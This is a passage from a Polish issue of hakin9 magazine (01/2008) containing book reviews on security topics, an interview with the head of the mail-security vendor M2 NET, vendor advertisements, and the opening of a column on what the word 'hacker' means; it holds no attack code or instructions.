praktyce  oraz  o  planowaniu  awaryjnym  i  przywróceniu 
poprawnego funkcjonowania organizacji po wystąpieniu 
zdarzenia  kryzysowego.  Po  tych  kilku  tytułach  można 
wnioskować, że autor porusza ważne i aktualne proble-
my elektronicznego biznesu. 

Wśród  wielu  istotnych  kwestii  znajdziemy  tematy, 

które nie są często podejmowane przez innych autorów, 
m. in. monitoring pracowników, jego zasadność i pod-
stawy prawne, kwestię urządzeń mobilnych i ich wyko-
rzystania poza czasem pracy (ilu pracodawców wie, co 
z laptopami robią ich podwładni w domu?), zmniejsza-
nie ryzyka – od metody małych kroków poprzez szyb-
kie metody na radykalnych rozwiązaniach kończąc, czy 

wreszcie systemy uwierzytelniania i święcąca w ostat-
nim czasie tryumfy biometria. Na pierwszy rzut oka nie-
które rozdziały wydają się nieaktualne – jak choćby Bez-
pieczeństwo  sieciowe  w  2005  roku
,  jednak  po  dokład-
niejszym  ich  przestudiowaniu  widać,  że  wskazują  na 
bardzo aktualne problemy. Z zalet książki warto również 
wymienić  przystępny  język,  łatwość  z  jaką  się  ją  czyta 
oraz metodę wyjaśniania terminów na zasadzie analogii 
i  obrazów.  Studia  przypadku  z  ostatnich  rozdziałów  są 
ciekawym podsumowaniem przedstawionych zagadnień. 

Na  poczet  plusów  należy  także  zaliczyć  wyważe-

nie  treści  pod  względem  liczby  odwołań  do  standardów 
i specyfikacji, która nie jest ani zbyt skromna, ani nie przy-
tłacza. Cieszy fakt, że uzupełniono tekst o polskie stan-
dardy razem z ich omówieniem. Z drobiazgów ujął mnie 
zrzut ekranu z polskiej strony Google prezentujący wyniki 
w ojczystym języku – szczegół, ale cieszy i podkreśla sza-
cunek dla czytelnika. 

Komu  poleciłbym  tę  pozycję?  Praktycznie  każde-

mu  człowiekowi  zainteresowanemu  bezpieczeństwem. 
Książka nie odstręcza fachowością, ale z drugiej strony 
nie  jest  trywialna.  Poruszane  zagadnienia  są  aktualne 
i  często  krytyczne  dla  funkcjonowania  e-biznesu.  Prak-
tyczne rady, w jaki sposób zmniejszać ryzyko i zwalczać 
typowe problemy, znacząco podnoszą wartość pozycji.

Marcin Kulawinek

Tytuł: PHP Bezpieczne Programowanie

Autor: Chris Shiflett

Wydawca: Helion

Rok wydania w Polsce: 2006

Liczba stron: 128

Bezpieczeństwo odgrywa ważną rolę w serwisach webo-
wych.  Bez  zapewnienia  odpowiedniego  poziomu  bez-
pieczeństwa nie byłoby banków internetowych, klientów 
pocztowych uruchamianych z poziomu przeglądarki, sys-
temów zarządzania treścią, wszelkich blogów itp. Z pew-
nością  także  PHP  nie  osiągnęłoby  takiej  popularności. 
Faktem  jest,  że  każde  zabezpieczenie  można  obejść, 
a jedyne, co możemy zrobić, to utrudnić życie hakerom 
czy crackerom. Z tego właśnie powodu warto przeczytać 

książkę PHP Bezpieczne Programowanie. Jak sam tytuł 
wskazuje, powie nam ona wiele o tym, jak należy pisać 
aplikacje internetowe, by nie narażać na nieprzyjemno-
ści naszych użytkowników – a także siebie, również pod 
względem prawnym, gdyż wiele serwisów pełni funkcje 
objęte regulacjami prawnymi.

Chris Shiflett – autor opisywanej tutaj książki – przed-

stawia  nam  różne  aspekty  bezpieczeństwa  skryptów 
PHP,  pokazując  często  spotykane  luki,  które  programi-

background image

hakin9 Nr 01/2008

www.hakin9.org

72

Księgozbiór

Księgozbiór

hakin9 Nr 01/2008

www.hakin9.org

73

ści zostawiają w kodzie oraz sposoby, w jakie napastnik 
może  je  wykorzystać.  Dzięki  takiej  konwencji  możemy 
zrozumieć  także  samą  ideę  wprowadzania  danego 
zabezpieczenia i spojrzeć na to z perspektywy atakują-
cego.  Z  pewnością,  znając  tę  ideę,  będziemy  w  stanie 
opracować  nowe  sposoby  zabezpieczeń  lub  udoskona-
lić już istniejące.

Czego  konkretnie  możemy  się  nauczyć  dzięki  tej 

książce  zawierającej  sto  dwadzieścia  stron  informa-
cji?  Zaczynamy  od  ataków:  na  formularze,  XSS,  CSRF 
oraz  manipulacji  adresami  URL  (wszystko  to  mieści  się 
w jednym – najdłuższym w książce – rozdziale). Następ-
nie szybko przechodzimy do baz danych, gdzie dowiadu-
jemy się czym jest atak nazywany SQL Injection, a potem 
poznajemy  sposoby  na  ochronę  przed  przechwytywa-
niem sesji oraz ciasteczek, w których znajduje się więcej 
pożądanych  przez  hakera  informacji,  niż  się  niektórym 

wydaje. Autor pisze także o wstrzykiwaniu kodu, naraża-
niu na niebezpieczeństwo przeglądania przez intruza sys-
temu plików, autoryzacji użytkowników, a na koniec zosta-
wia garść rad podpowiadających co zrobić, gdy webser-
wisy  znajdują  się  na  wspólnym  hoście.  Zawarto  tutaj 
także trzy dodatki traktujące odpowiednio o: dyrektywach 
konfiguracyjnych  PHP,  jego  kilku  kluczowych  funkcjach 
oraz o kryptografii, do której wykorzystuje się wbudowa-
ne funkcje PHP.

PHP Bezpieczne Programowanie zawiera co prawda 

kilka błędów, jednak są to jedynie literówki. Autor bardzo 
dokładnie  opisał  poszczególne  rodzaje  ataków  i  możli-
wości ochrony przed nimi, tak więc warto przeczytać tę 
książkę  –  zwłaszcza,  jeśli  planujemy  tworzyć  poważne 
serwisy webowe.

Roger Zacharczyk

Tytuł: Podstawy ochrony komputerów

Autor:  Rick Lehtinen, Deborah Russell, G.T. Gangemi

Wydawca: Helion

Rok wydania w Polsce: 2007

Liczba stron: 304

Zadbaj o bezpieczeństwo swojego komputera – to cytat 
z okładki książki: Podstawy ochrony komputerów, wyda-
nej  przez  jedno  z  bardziej  uznawanych  wydawnictw  na 
świecie O'Reilly, w Polsce dostarczanej przez Helion

Co znajdziemy w książce? Dziesięć rozdziałów podzie-

lonych  na  cztery  główne  części  plus  dodatki.  Pierwsze, 
co  przedstawi  nam  autor,  to  jak  wyglądało  bezpieczeń-
stwo wczoraj, a jak przedstawia się jego aktualny poziom 
– historia rozwoju szeroko rozumianej ochrony informacji 
i nie tylko. Kolejny dział wprowadzi nas w tytułową ochronę 
komputerów. Dowiemy się z niego, co i jak należy chronić. 
Autor porusza nie tylko zagadnienia oczywiste, jak nie zapi-
sywanie haseł na karteczkach, lecz omawia także ochro-
nę przed niepowołanym dostępem osób trzecich, wirusa-
mi, robakami. Przeczytamy, jak powinna wyglądać polityka 
bezpieczeństwa w firmie, jakie zagrożenia niesie ze sobą 
Internet i które rodzaje ataków można w nim przeprowa-
dzić. Dostępna jest przystępnie opisana specyfikacja pro-
tokołów sieciowych, opis możliwości i zagrożeń, jakie są 
z nimi związane. Następny dział przybliża zagadnienia szy-
frowania, kodowania oraz przedstawia, co oznacza zabez-
pieczanie sieci i jak sobie z nim radzić. Autor opisuje histo-
ryczne  początki  znanych  algorytmów  szyfrujących  oraz 
ich ewolucję, przedstawia, które z nich na chwilę obecną 
dają  nam  wystarczającą  ochronę.  Ostatnia  część  (poza 
dodatkami) porusza tematykę innych rodzajów zabezpie-
czeń. Dowiemy się z niej o fizycznej i biometrycznej ochro-
nie zasobów oraz o metodach ochrony i unikania zagro-

żeń w sieciach bezprzewodowych. Warto zwrócić uwagę 
na  dodatki,  w  których  jasno  przedstawione  zostały  takie 
zagadnienia jak Orange book czy TEMPEST.

Z  rzeczy,  które  zauważa  się  już  w  pierwszych  roz-

działach, rzuca się w oczy nakład pracy, jaki włożył autor 
w  uporządkowanie  i  usystematyzowanie  wiedzy.  Wszel-
kie  terminy  są  krok  po  kroku  definiowane  i  wyjaśniane. 
Rzadko  –  acz  w  bardzo  istotnych  miejscach  –  znajdzie-
my  ilustracje  obrazujące  dane  zagadnienie.  W  ramkach 
umieszczono  praktyczne  wskazówki  i  ciekawostki  odno-
śnie aktualnie omawianego tematu. 

Znaczną  część  książki  zajmują  odwołania  do  spe-

cyfikacji, praw i dyrektyw. W większości są to dokumen-
ty rządu Stanów Zjednoczonych – wydawnictwo Helion 
postarało się o uzupełnienie tych paragrafów o odwoła-
nia  do  polskich  ustaw  i  rozporządzeń,  co  podnosi  war-
tość  pozycji.  Dla  kogo  jest  ta  książka?  Właściwie  dla 
każdego, kto chce wiedzieć więcej o bezpieczeństwie – 
z nastawieniem jednak na osoby, które są w tym temacie 
początkujące (co nie oznacza, że bardziej zaawansowa-
ni nie znajdą nic dla siebie).

Marcin Kulawinek

Serdeczne podziękowania dla wydawnictwa Helion, 
za udostępnienie książek do recenzji.

background image

www.hakin9.org

hakin9 Nr 01/2008

74

Wywiad

hakin9:

  Proszę  przybliżyć  naszym  Czytelni-

kom  strategię  firmy  na  najbliższe  pół  roku/
rok.

Marcin  Piołun-Noyszewski:

  Specyfika  pro-

duktów M2 NET powoduje, że firma musi bar-
dzo szybko reagować na wymagania stawiane 
przez rynek, zatem jednym z zadań, które sto-
ją przed nami, jest tworzenie i implementowa-
nie  nowych  technik  antyspamowych  i  ochro-
ny poczty. Np. ostatnio nasz zespół wymyślił 
nową, innowacyjną technikę wykrywania phi-
shingu  opartą  na  analizie  adresów  nadaw-
ców.  Właśnie  wydaliśmy  nową  wersję  syste-
mu ochrony poczty dla IBM Domino, kończy-
my także przygotowywanie piątej wersji SMI! 
for Gateway
, a najpóźniej w pierwszym kwar-
tale 2008 chcemy wydać nową wersję SMI! for 
Exchange.

h9:

 Jaki jest Wasz najważniejszy, flagowy pro-

dukt?

MP-N:

 Nasza firma zajmuje się dwoma nie-

co  różniącymi  się  obszarami  działalnośći. 
Pierwsza to bezpieczeństwo poczty elektro-
nicznej – najważniejszą linią produktową jest 
seria Secure Mail Intelligence! Jest to wielo-
silnikowy system zabezpieczenia poczty, za-
wierający  8  silników  antywirusowych  i  po-

nad  23  technologie  wyszukiwania  spamu. 
Z drugiej strony, nasza firma produkuje sys-
temy  dedykowane  i  aplikacje  biznesowe, 
a tutaj prym wiedzie system relacji z klienta-
mi – CRM, system realizacji badań sondażo-
wych przez Internet – Internet Survey, syste-
my  obiegu  dokumentów,  rożne  dedykowane 
aplikacje wielowarstwowe i aplikacje do kryp-
tografii.

h9:

  Jak  próbujecie  się  wyróżnić  na  rynku?, 

Przecież jest tak wiele dobrych produktów. Co 
robicie, aby je wypromować? Czy nie boicie się 
konkurencji?

MP-N:

  Duży  procent  sprzedaży  zapewnia 

nam  eksport  i  sprzedaż  poprzez  zagranicz-
nych partnerów, stąd skupiamy się na działa-
niach promujących ten sposób sprzedaży. Do 
najważniejszych technik promocji należą tu-
taj po prostu bezpośrednie kontakty. Nie ma 
co ukrywać, nie jesteśmy zbyt szeroko obec-
ni w Polsce i niezbyt często korzystamy z tra-
dycyjnych mechanizmów promocji. Ale chce-
my  to  zmienić,  ponieważ  zamierzamy  bar-
dziej  aktywnie  sprzedawać  nasze  produkty 
także na rynku polskim. Niestety, nie jest to 
łatwe, bo zasada cudze chwalicie, swego nie 
znacie
 jest tutaj w 100% prawdziwa, o czym 

Wywiad z Marcinem 

Piołunem – Noyszewskim  

prezesem zarządu M2 NET

Od 13 lat zajmuje się 

projektowaniem i 

tworzeniem oprogramowania 

komputerowego, a od 7 lat 

pełni funkcję prezesa zarządu 

M2 NET S.A. Ma 32 lata i jest 

absolwentem socjologii na 

Uniwersytecie Warszawskim.

Marcin Piołun-Noyszewski

background image

hakin9 Nr 01/2008

www.hakin9.org

75

niejednokrotnie  się  przekonaliśmy  na  własnej  skórze. 
Zaskakujące jest to, że SMI! chętnie kupuje np. admi-
nistracja rządowa w Wielkiej Brytanii czy w Kazachsta-
nie, a w Polsce mamy jednostkowe przypadki instalacji 
w sektorze administracji publicznej. Jeśli chodzi o kon-
kurencję, to na świecie jest tylko około pięciu podob-
nych  produktów.  My  stawiamy  na  funkcjonalność,  oni 
na markę. Myślę że w dłuższej perspektywie to nasze 
podejście przyniesie premię.

h9:

  Jak  oceniacie  zainteresowanie  klientów  Waszymi 

produktami? Czy jest ono ściśle związane ze świadomo-
ścią klientów odnośnie zagrożeń płynących z Internetu, 
czy ta świadomość/zainteresowanie wzrosła, czy zmala-
ła na przestrzeni ostatnich lat?

MP-N:

  Właśnie,  kwestia  tego,  skąd  pochodzi  zagro-

żenie,  różni  podejście  klientów  dawniej  i  obecnie. 
W  Polsce  wyraźnie  widać  zainteresowanie  głównie 
funkcjami  antyspamowymi,  następnie  antywirusowy-
mi – czyli cechami, które zabezpieczają firmę przed 
atakami z zewnątrz. Okazuje się jednak, że najwięk-
sza  liczba  zagrożeń  pochodzi  z  wewnątrz  firmy.  Za 
3⁄4 wszystkich ataków odpowiedzialni są tzw. insiders
czyli  pracownicy  lub  byli  pracownicy  przedsiębior-
stwa. Między innymi dlatego w normie 27001 tak du-
ży nacisk kładzie się na kontrolę poczynań pracowni-
ków.  Widzimy,  że  obecnie  wzrasta  taka  świadomość 
i szczególnie na świecie klienci głównie pytają o za-
awansowanie  filtrowanie  treści  (SMI!  umożliwia  wy-
łuskiwanie treści z różnorodnych załączników, w tym 
wielokrotnie  zagnieżdżonych)  i  kontrolę  wycieku  da-
nych, w dalszej kolejności istotna jest możliwość do-
łączania  zastrzeżeń  prawnych  i  archiwizacji  poczty, 
a  dopiero  potem  ochrona  przed  złośliwym  kodem 
i niechcianą pocztą.

h9:

 Czy produkty firmy rzeczywiście odznaczają się wy-

soką skutecznością? 

MP-N:

 Po pierwsze SMI! posiada innowacyjne mecha-

nizmy  działające  w  warstwie  połączenia,  co  powodu-
je,  że  jest  w  stanie  blokować  połączenia  z  adresów, 
z których np. otrzymaliśmy zbyt wiele zainfekowanych 
listów.  Podobnie  z  reakcją  na  epidemie  i  zachowania 
masowe  –  te  funkcje  wyróżniają  nas  spośród  konku-
rencji  i  powodują,  że  skuteczność  SMI!  jest  wyższa 

niż  innych  programów  tego  typu.  W  dalszym  aspek-
cie wpływa na to zastosowanie 23 technik antyspamo-
wych i 8 technik antywirusowych – bo chyba przema-
wia  do  każdego,  że  przeskanowanie  tego  samego  li-
stu  kilkoma  silnikami  podwyższy  skuteczność.  W  na-
szych testach wyraźnie widać, ze nie ma idealnego sil-
nika antywirusowego i antyspamowego. Trzeba dobrać 
ochronę antyspamową do charakteru spamu – podob-
nie nie zdarzyło się jeszcze nigdy, aby jeden silnik wy-
krył wszystkie kolekcjonowane przez nas wirusy, troja-
ny, robaki, riskware, spyware, adware.

h9:

 Jeśli tak, co to potwierdza?

MP-N:

  Porównanie  z  konkurencją.  Często  z  nią  wal-

czymy.Nasze i ich rozwiązania są poddawane tym sa-
mym testom w identycznym środowisku, ale to nasze 
produkty wygrywają. Posiadamy także raporty firm do-
starczających nam technologii antyspamowych i anty-
wirusowych, które pokazują np. czasy reakcji na poja-
wienie się wirusów. Wahają się one od kilku minut do 
kilkuset godzin. Na początku stawki i na końcu w róż-
nych  miesiącach  występują  czasami  te  same  silniki 
– nie ma ideału. Tylko dywersyfikacja technologii może 
poprawić poziom bezpieczeństwa.

h9:

 Jak wygląda wsparcie techniczne, czy jest ono płatne?

MP-N:

  Standardowo  w  licencji  zawarta  jest  opieka 

roczna, która obejmuje aktualizacje baz wirusów, fil-
trów antyspamowych, poprawki oprogramowania i po-
moc  techniczną  przez  elektroniczne  kanały  komu-
nikacji.  Można  także  za  18%  wartości  licencji  wy-
kupić  zaawansowany  maintenance,  który  umożliwia
m. in. instalowanie wszystkich nowych wersji produk-
tów  bez  dodatkowych  opłat,  a  także  zapewnia  po-
moc  techniczną  przez  telefon.  Mamy  także  podpisa-
nych  kilka  umów  na  świadczenie  dedykowanej  opie-
ki typu 24/7/365, ale warunki takiej opieki są ustala-
ne indywidualnie.

h9:

 Czy każdy klient ma swojego opiekuna technicznego?

MP-N:

 Tak, każdy klient otrzymuje bezpośredni kon-

takt  do  dwóch  osób:  opiekuna  technicznego  i  opie-
kuna  handlowego.  Warto  jednak  zwrócić  uwagę  na 
fakt, że siłą takich małych firm, jak nasza – która za-
trudnia  kilkanaście  osób  –  jest  to,  że  klient  nie  mu-
si przebijać się przez setki automatycznych powital-
nych menu, a trafia bezpośrednio do działu wsparcia 
czy działu sprzedaży. Co więcej, cały zespół zna te-
matykę ochrony poczty, bo specjalizujemy się w tym 
zakresie.  Klient  nie  tonie  w  bezładzie  organizacji, 
a ewentualne problemy są szybko eskalowane – zda-
rza się i tak, że osobiście interweniuję w niektórych 
sprawach. Ważne jest także i to, że pomagamy klien-
tom  nie  tylko  podczas  instalacji  oprogramowania, 
z  ewentualnymi  kłopotami  technicznymi  czy  też 
w  obsłudze  programu,  ale  pomagamy  utworzyć  po-
litykę  zabezpieczenia,  reagujemy  na  ataki,  których 
doświadczają  nasi  klienci,  przygotowujemy  dla  nich 
specjalne  wersje  lub  implementujemy  specyficzne 
zabezpieczenia.

background image

hakin9 Nr 01/2008

www.hakin9.org

Wywiad

76

h9:

  Czy  jeśli  klient  zamówi  określone  oprogramowanie 

czy też wdrożenie, będzie mógł liczyć na szkolenia?

MP-N:

 Oczywiście, standardowo każdy klient może za 

darmo uczestniczyć w sesjach szkoleniowych organizo-
wanych  przez  naszą  firmę.  Każdemu  możemy  asysto-
wać w instalacji produktu poprzez telefon lub zdalny de-
sktop.  Mamy  także  ofertę  kilku  szkoleń  komercyjnych 
– od zaawansowanej obsługi oprogramowania (np. kla-
strowania
,  replikacji  itp.),  poprzez  szkolenia  tworzenia 
polityk  zabezpieczeń,  a  skończywszy  na  szkoleniach 
z tematyki nieco szerzej rozumianego bezpieczeństwa 
systemów IT.

h9:

 Z jakiego języka programowania korzystają progra-

miści firmy przy pisaniu aplikacji?

MP-N:

  Większość  bibliotek  oraz  natywna  integracja 

z  serwerami  wymaga  tego,  by  korzystać  z  C  i  C++, 
ale wiele filtrów i obsługa logiki aplikacji wykonane są 
w  języku  Java  1.5.  Interfejs  administracyjny  przygo-
towany jest jako wielowarstwowa aplikacja Java uru-
chamiana  na  serwerze  Apache  Tomcat,  korzystają-
ca z interaktywnych mechanizmów AJAX. Fragmenty 
korzystają ze skompilowanej przez nas wersji Perl-a, 
a  wersja  dla  Microsoft  Exchange  wykorzystuje  miej-
scami C#.

h9:

  Na  firmowej  stronie  WWW  znajdujemy  informację 

o obsługiwanych systemach. Czy w tych mniej popular-
nych zdarzają się jakieś problemy z działaniem progra-
mów?

MP-N:

  Wersje  dla  wszystkich  systemów  operacyjnych 

staramy  się  testować  w  ten  sam  sposób.  Nie  jest  ta-
jemnicą, że np. Solaris czy AIX są nieco mniej popular-
ne,  ale  w  takich  przypadkach  korzystamy  z  infrastruk-
tury  producentów  tych  systemów  i  pomocy  naszych 
partnerów.  Codziennie  wykorzystujemy  centra  danych 
w Londynie i w Warszawie, a także korzystamy szero-
ko  z  usług  użytkowników,  testujących  wersje  beta  na-
szych systemów.

h9:

 Czy przedsiębiorstwa chętnie stosują produkty firmy, 

i czy ich opinie są pozytywne?

MP-N:

 No cóż, tak jak wspomniałem wcześniej, wyda-

je się, że chętniej wykorzystują nasze pudełkowe opro-
gramowanie firmy spoza Polski, choć w przypadku apli-
kacji  dedykowanych  tworzonych  na  potrzeby  biznesu
i administracji rządowej jest odwrotnie. Myślę, że naj-
lepszą oceną jakości produktów i świadczonych przez 
nas usług jest fakt, że nasi klienci kilkukrotnie przedłu-
żają  wieloletnie  umowy  subskrypcji  i  opieki  serwiso-
wej, a także kilkukrotnie ci sami klienci zlecają nam no-
we zadania. Niestety, zdarza się czasami, że klienci re-
zygnują z naszych rozwiązań na rzecz produktów firmy 
numer 1 lub 2
 na świecie, ale wydaje się, że decyzje ta-
kie mają czasami pozamerytoryczną przyczynę.

h9:

 Co przemawia za korzystaniem z produktów firmy M2 

NET S.A.?

MP-N:

 Chyba najważniejsza jest możliwość zwiększe-

nia dokładności analizy ruchu pocztowego, zdywersy-
fikowania źródeł zabezpieczeń, zaufania firmie wysoko 

wyspecjalizowanej, otwartej na nowe pomysły i szyb-
ko  reagującej  na  zmiany.  Istotna  jest  możliwość  bez-
pośredniego kontaktu, elastyczność i innowacja, którą 
cechują się nasi pracownicy. Warto podkreślić, że cena 
naszych produktów jest podobna do rozwiązań jedno-
silnikowych, a łatwość wdrożenia i obsługi programów 
nie wymaga zaawansowanej wiedzy. Staramy się, aby 
temat bezpieczeństwa został wyrwany z rąk guru i tra-
fił  pod  strzechy.  Chcemy,  żeby  wysoko  wyspecjalizo-
wane produkty mogły być obsługiwane przez zwykłych 
administratorów.

h9:

 Jak produkty M2 NET S.A. wypadają na tle konku-

rencji?

MP-N:

 Nasz udział w rynku jest mały. Docieramy głów-

nie do wielkich firm, w których zabezpieczenie jedno-
silnikowe jest niewystarczające. Proszę sobie wyobra-
zić, że wśród firm korzystających z naszego oprogra-
mowania są takie przedsiębiorstwa, gdzie chronimy kil-
kaset  serwerów  i  kilkadziesiąt  tysięcy  użytkowników! 
Małe  i  średnie  firmy  preferują  dobrze  znane  marki, 
trudno nam z nimi wygrać. Niestety, nie możemy sobie 
pozwolić  na  szeroką  kampanię  promocyjna,  bo  nasz 
budżet  na  razie  w  80-90  procentach  pochłania  R&D 
i konieczność nadążania za zmieniającą się charakte-
rystyką ataków. W chwili obecnej wyróżnia nas wyższa 
funkcjonalność i większa dokładność kontroli poczty.

h9:

 W jaki sposób firma postrzega środowisko specjali-

stów IT?

MP-N:

  Bez  tych  osób,  bez  ich  pomysłów,  wiedzy,  czę-

sto doświadczenia, trudno byłoby nam stworzyć produk-
ty, które mogłyby realnie zabezpieczyć infrastrukturę na-
szych klientów. 

h9:

 Jakie akcje dla specjalistów IT Państwo przeprowa-

dzają?

MP-N:

 Głównie ich poszukujemy i zatrudniamy, ale stara-

my się także dzielić z nimi wiedzą podczas licznych kon-
ferencji i wykładów, w których uczestniczą nasi pracow-
nicy. 

h9:

 Czy planujecie jakieś specjalne oferty, gratisowe na-

rzędzia itp.?

MP-N:

 Obecnie istnieją tylko demonstracyjne wersje na-

szych  produktów,  ale  dla  różnych  organizacji  non-pro-
fit
  oferujemy  darmowe  wersje.  Pracujemy  nad  wersją 
bezpłatną naszych produktów, ale niestety cykl wydaw-
niczy  nowych  wersji  zablokował  wydanie  ich  w  tym  ro-
ku.  Wszystko  wskazuje  na  to,  że  pod  koniec  pierwsze-
go kwartału przyszłego roku, a najpóźniej w drugim, wy-
damy darmowe wersje całej serii SMI! Co do specjalnych 
ofert, to cały czas mamy rabat 30% dla instytucji związa-
nych z edukacją.

h9:

 Jak M2 NET S.A. ocenia hakin9 jako medium umoż-

liwiające dotarcie do specjalistów IT?

MP-N:

 hakin9, to według nas ważne czasopismo dostar-

czające  rzetelnej  wiedzy  specjalistycznej,  z  której  sami 
także korzystamy.

h9:

 Dziękujemy za rozmowę.

MP-N:

 Dziękuję.

background image

CCNS

Działalność  firmy  skoncentrowana  jest 
wokół hasła zapewnienia pełnego bez-
pieczeństwa  funkcjonowania  Klienta 
w  realiach  współczesnej  gospodarki. 
Jako Expert Partner firmy WatchGuard 
Inc.  oferujemy  kompleksowe  rozwiąza-
nia  bezpieczeństwa  sieci  i  systemów 
informatycznych  obejmujące  nowo-
czesne  urządzenia  typu  Unified  Thre-
at  Management,  niezawodny  serwis 
i szeroki wachlarz szkoleń.  

Prenumerata Pro

Media

 

Systems

Firma Media Systems oferuje Państwu 
profesjonalny  system  CashBill.pl, 
umożliwiający  zarządzanie  usługami 
SMS  Premium  Rate  w  sektorze  B2B 
i  B2C.  Oferujemy  również  szeroki 
wachlarz  usług  mikropłatniczych, 
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy 
budowie aplikacji mobilnych. 

TTS Company Sp. z o.o.

Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na zamó-
wienie.  W  ofercie  programy  autorstwa 
ponad stu firm z całego świata. Zapra-
szamy do współpracy - zostań naszym 
klientem lub dostawcą. 

Zepter IT

Zepter  IT  to  dynamicznie  rozwijają-
ca  się  firma,  specjalizująca  się  w  re-
alizacji  projektów  informatycznych. 
Oferujemy  rozwiązania  dla  biznesu
i  zarządzania  takie  jak  systemy  ERP 
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów. 
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce,  tworzenie  aplikacji  internetowych 
oraz systemów zarządzania treścią. 

Petrosoft

Partner  Microsoft  Bussiness  Solutions 
Dynamics  GP.  Budowa  sklepów  inter-
netowych, serwisów WWW, prezentacji 
multimedialnych.  Budowa  sieci  LAN, 
WAN,  telekomunikacyjnych.  Telefonia 
stacjonarna,  VoiceIP.  Usługi  outsor-
cingowe  dla  dużych  firm  z  zakresu 
informatyki  i  telekomunikacji.  Opro-
gramowanie  na  zamówienia.  Dostawa 
serwerów, sprzętu, oprogramowania.

www.OprogramowanieKomputerowe.pl

www.ccns.pl

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

www.zepterit.com

kontakt do nas: 

katarzyna.juszczynska@software.com.pl

robert.gontarski@software.com.pl

tel. : 22 427 36 77

Enigma SOI

Głównym  przedmiotem  działalności  fir-
my  jest  produkcja,  wdrażanie  i  sprze-
daż  systemów  służących  do  ochrony 
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
•  podpis elektroniczny i szyfrowanie 

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

background image

hakin9 Nr 01/2008

www.hakin9.org

78

Fe

lie

to

n

N

astoletni  haker  włamał  się  do  firmy,  hakerzy 
atakują nasze e-maile, hakerzy przejmują Twój 
komputer, hakerzy znaleźli 'dziurę' w systemie 

operacyjnym – takie i podobne teksty można przeczy-
tać w prasie i usłyszeć w TV. W Niemczech wprowadza 
się nawet specyficzne przepisy anty-hakerskie.

Wszystkie takie informacje wrzucane są do jedne-

go worka, a dla przeciętnego użytkownika komputera 
słowo  haker  ma  negatywne  konotacje.  Stało  się  ono 
modne i wręcz nadużywane. 

Haker  jest  to  osoba,  która  posiada  bardzo  szero-

ką wiedzę informatyczną i która potrafi ją wykorzystać 
w celu znalezienia dziur w systemach informatycznych. 
Osoba  ta  dzieli  się  swoją  wiedzą  i  chętnie  pomaga 
innym użytkownikom, a co najważniejsze, swoim dzia-
łaniem nie szkodzi.

Trzeba też pamiętać, że to hakerzy przyczynili się 

do  ekspansji  oprogramowania  Open  Source.  To  oni 
stoją za tym, że każdego miesiąca dostajesz popraw-
ki do swojego ulubionego systemu operacyjnego. Ale 
o tym jakoś nikt nie mówi. Nikt nie wspomina też, że to 
dzięki nim Twoje ciężko zarobione pieniądze są coraz 
bezpieczniejsze na kontach. Nawet Twoja sieć osiedlo-
wa jest bezpieczniejsza dzięki temu, że hakerzy moty-
wują administratorów do lepszego jej zabezpieczania.

Naturalnie,  kwestia  nie  jest  taka  prosta.  W  grupie 

hakerów  występuje  podział  na  black  hats,  white  hats 
grey hats. Do pierwszej z nich zaliczamy osoby, które 
wyszukują  błędy  w  systemach  i  nie  dzielą  się  tą 
wiedzą, tylko tworzą oprogramowanie umożliwiające 
wykorzystanie odkrytych luk. Do drugiej grupy nato-
miast wliczamy osoby, które szukają luk bezpieczeń-
stwa i po ich znalezieniu dzielą się z szerszą grupą 
ludzi,  którzy  mogą  pomóc  w  zlikwidowaniu  błędów 
w  systemie.  Natomiast  ostatnia  już  grupa  to  po 
prostu  ci,  którzy  łączą  w  sobie  cechy  black  hats 
i white hats. 

Przykładem  włamania  dokonanego  z  pozytyw-

nych  przesłanek  było  wejście  na  serwer  Apache.org 
w  wykonaniu  Petera  van  Dijka  i  Franka  van  Vlieta  w 
maju  2000.  Osoby  te  włamały  się  na  serwer,  opisa-
ły  krok  po  kroku  wszystko,  co  zrobiły  i  pozostawiły 
administratorom  serwera  wiadomość,  co  zrobić,  aby 

Czy wszyscy są hakerami? 

go  lepiej  zabezpieczyć.  Mogli  przecież  użyć  serwera 
do  zainfekowania  tysięcy  komputerów.  I  to  jest  jeden 
z  najbardziej  szczytnych  przykładów  działań  hake-
rów.  Na  dodatek  administratorzy  Apache.org  napisa-
li podziękowania dla nich za pomoc w lepszym zabez-
pieczeniu systemu. 

Natomiast  inna  osobą  jest  cracker.  To  użytkow-

nik,  który  włamuje  się  na  serwery  w  celu  zniszcze-
nia czegoś lub dla osiągnięcia korzyści materialnych. 
Osoba taka działa niezgodnie z prawem. Jej celem nie 
jest pomoc nikomu, tylko własny zysk. Trzeba przy tym 
pamiętać, że crackerzy to naprawdę inteligentni ludzie, 
którzy  potrafią  dużo  zrobić  za  pomocą  komputera 
i nawet w ich nieetycznym działaniu można doszukać 
się pozytywnych przesłanek.

Oczywiście można się ze mną sprzeczać i mówić, 

że  brak  mi  obiektywizmu,  ponieważ  nic  na  tym  świe-
cie nie jest czarne lub białe. Ale czasami cel uświęca 
środki.  Przykładowo:  ostatnio  przeczytałem  w  pra-
sie, jak przedstawiciel pewnej firmy odpowiadający za 
najbardziej  popularny  pakiet  biurowy  powiedział,  że 
zawiesza  się  on  ze  względów  bezpieczeństwa.  Cóż, 
czytając  coś  takiego,  zastanawiam  się  jak  można 
w  taki  sposób  traktować  użytkowników  swojego  pro-
gramu.  Często  wypuszczane  są  systemy  operacyjne, 
które  mają  być  superbezpieczne  i  dawać  nam  kom-
fort spokojnej pracy. A jak wiemy często jest zupełnie 
inaczej. Zwykły człowiek nie jest w stanie tego wykryć 
i  przetestować.  I  tutaj  właśnie  z  pomocą  przychodzą 
hakerzy,  którzy  próbują  wskazać  producentowi  okre-
ślone luki w systemie aby ten mógł zostać lepiej zabez-
pieczony.  Czasami  nie  wystarczy  pokazać  monopo-
liście,  że  gdzieś  jest  błąd,  ponieważ  uważa  on,  że 
wszystko działa bez zastrzeżeń i nic nie trzeba napra-
wiać. Ale cóż – to już zupełnie inna historia…

Niestety,  za  nadużywanie  terminu  haker  odpowia-

dają  w  dużym  stopniu  media,  ponieważ  to  one  przy 
